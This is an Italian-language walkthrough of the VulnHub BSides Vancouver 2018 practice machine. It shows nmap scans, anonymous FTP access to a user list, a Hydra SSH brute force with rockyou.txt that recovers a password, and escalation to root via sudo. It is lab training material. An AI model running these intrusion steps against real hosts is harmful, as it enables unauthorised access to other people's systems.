Traccia Bonus

In questa traccia ci è stato richiesto di scaricare una macchina virtuale bsidesvancouver2018.
Dopo averla scaricata cerchiamo gli attacchi necessari per trovare un modo per diventare root sulla macchina virtuale.
Link macchina virtuale:
https://download.vulnhub.com/bsidesvancouver2018/BSides-Vancouver-2018-Workshop.ova

Scan nmap

Per prima cosa dobbiamo trovare l'indirizzo ip della macchina target, possiamo fare questo eseguendo uno scan della propria rete con nmap.
Una volta trovato l'indirizzo ip stabiliamo una connessione con la macchina tramite un ping.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sn 192.168.1.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-01 04:16 EST
Nmap scan report for modemtim.homenet.telecomitalia.it (192.168.1.1)
Host is up (0.0050s latency).
Nmap scan report for amazon-4aaed6c91.homenet.telecomitalia.it (192.168.1.4)
Host is up (0.0058s latency).
Nmap scan report for 192.168.1.8
Host is up (0.066s latency).
Nmap scan report for bsides2018.homenet.telecomitalia.it (192.168.1.11)
Host is up (0.00096s latency).
┌──(kali㉿kali)-[~]
└─$ ping 192.168.1.11
PING 192.168.1.11 (192.168.1.11) 56(84) bytes of data.
64 bytes from 192.168.1.11: icmp_seq=1 ttl=64 time=0.165 ms
64 bytes from 192.168.1.11: icmp_seq=2 ttl=64 time=0.312 ms
64 bytes from 192.168.1.11: icmp_seq=3 ttl=64 time=0.183 ms
64 bytes from 192.168.1.11: icmp_seq=4 ttl=64 time=0.376 ms
```

Scan delle porte

Dopo aver stabilito una connessione andiamo a fare una scannerizzazione delle porte sulla macchina target utilizzando il comando “-A” di nmap così da ottenere anche la versione e il sistema operativo. Una volta fatto lo scan possiamo vedere che sul servizio ftp della porta 21/tcp leggiamo “Anonymous FTP login allowed” ed un file pubblico.

```
┌──(kali㉿kali)-[~]
└─$ nmap -A 192.168.1.11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-01 04:18 EST
Nmap scan report for bsides2018.homenet.telecomitalia.it (192.168.1.11)
Host is up (0.00024s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.5
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.1.15
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 2.3.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 65534    65534        4096 Mar 03  2018 public
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol
 2.0)
| ssh-hostkey:
|   1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
|   2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_  256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/backup_wordpress
|_http-server-header: Apache/2.2.22 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

FTP login

Quindi proviamo ad entrare tramite l'ftp e mettendo come nome login "anonymous" abbiamo effettuato l'accesso. Prima vediamo nella directory dove ci troviamo che file ci sono, ci spostiamo sulla directory trovata e facendo di nuovo il comando "ls" possiamo vedere che abbiamo trovato un file con nome "users". Di seguito lo andiamo a scaricare per vedere cosa c'è scritto all'interno.

```
└─$ ftp 192.168.1.11
Connected to 192.168.1.11.
220 (vsFTPd 2.3.5)
Name (192.168.1.11:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||59853|).
150 Here comes the directory listing.
drwxr-xr-x    2 65534    65534        4096 Mar 03  2018 public
226 Directory send OK.
ftp> cd public
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||6943|).
150 Here comes the directory listing.
-rw-r--r--    1 0        0              31 Mar 03  2018 users.txt.bk
226 Directory send OK.
ftp> get users.txt.bk
local: users.txt.bk remote: users.txt.bk
229 Entering Extended Passive Mode (|||40309|).
150 Opening BINARY mode data connection for users.txt.bk (31 bytes).
```

Users text

Dopo aver scaricato il file su kali lo andiamo ad aprire e vediamo 5 nomi diversi, ipotizziamo siano 5 username per gli account della macchina target.
Andando ad esclusione abbiamo provato a fare diversi accessi con gli username trovati e l'unico che non aveva bisogno di key è "anne".

```
┌──(kali㉿kali)-[~]
└─$ cat users.txt.bk
abatchy
john
mai
anne
doomguy
```

```
┌──(kali㉿kali)-[~]
└─$ ssh abatchy@192.168.1.11
The authenticity of host '192.168.1.11 (192.168.1.11)' can't be established.
ECDSA key fingerprint is SHA256:FhT9tr50Ps28yBw38pBWN+YEx5wCU/d8o1Ih22W4fyQ.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.11' (ECDSA) to the list of known hosts.
abatchy@192.168.1.11: Permission denied (publickey).
```

Hydra brute force

Proviamo quindi ad effettuare un attacco brute force all'account anne utilizzando hydra. Possiamo vedere che hydra conclude l'attacco dandoci la password dell'username anne, la password è "princess".

```
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo hydra -l anne -P rockyou.txt ssh://192.168.1.11
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
 military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-01 04:
26:15
[WARNING] Many SSH configurations limit the number of parallel tasks, it is r
ecommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1
/p:14344398), ~896525 tries per task
[DATA] attacking ssh://192.168.1.11:22/
[22][ssh] host: 192.168.1.11   login: anne   password: princess
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 5 final worker threads did not complet
e until end.
[ERROR] 5 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-01 04:
26:18
```

Login root

Dopo aver ottenuto la password proviamo a fare il login con username “anne” e password “princess” e riusciamo ad entrare nella macchina target, utilizzando il comando “sudo su” riusciamo ad ottenere i permessi di root, lo verifichiamo anche con il comando “whoami”.

```
┌──(kali㉿kali)-[~]
└─$ ssh anne@192.168.1.11
anne@192.168.1.11's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/

382 packages can be updated.
275 updates are security updates.

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Jan 30 14:03:27 2024 from kali.homenet.telecomitalia.it
anne@bsides2018:~$ ls
anne@bsides2018:~$ ls -a
.  ..  .cache
anne@bsides2018:~$ sudo su
[sudo] password for anne:
root@bsides2018:/home/anne# whoami
root
```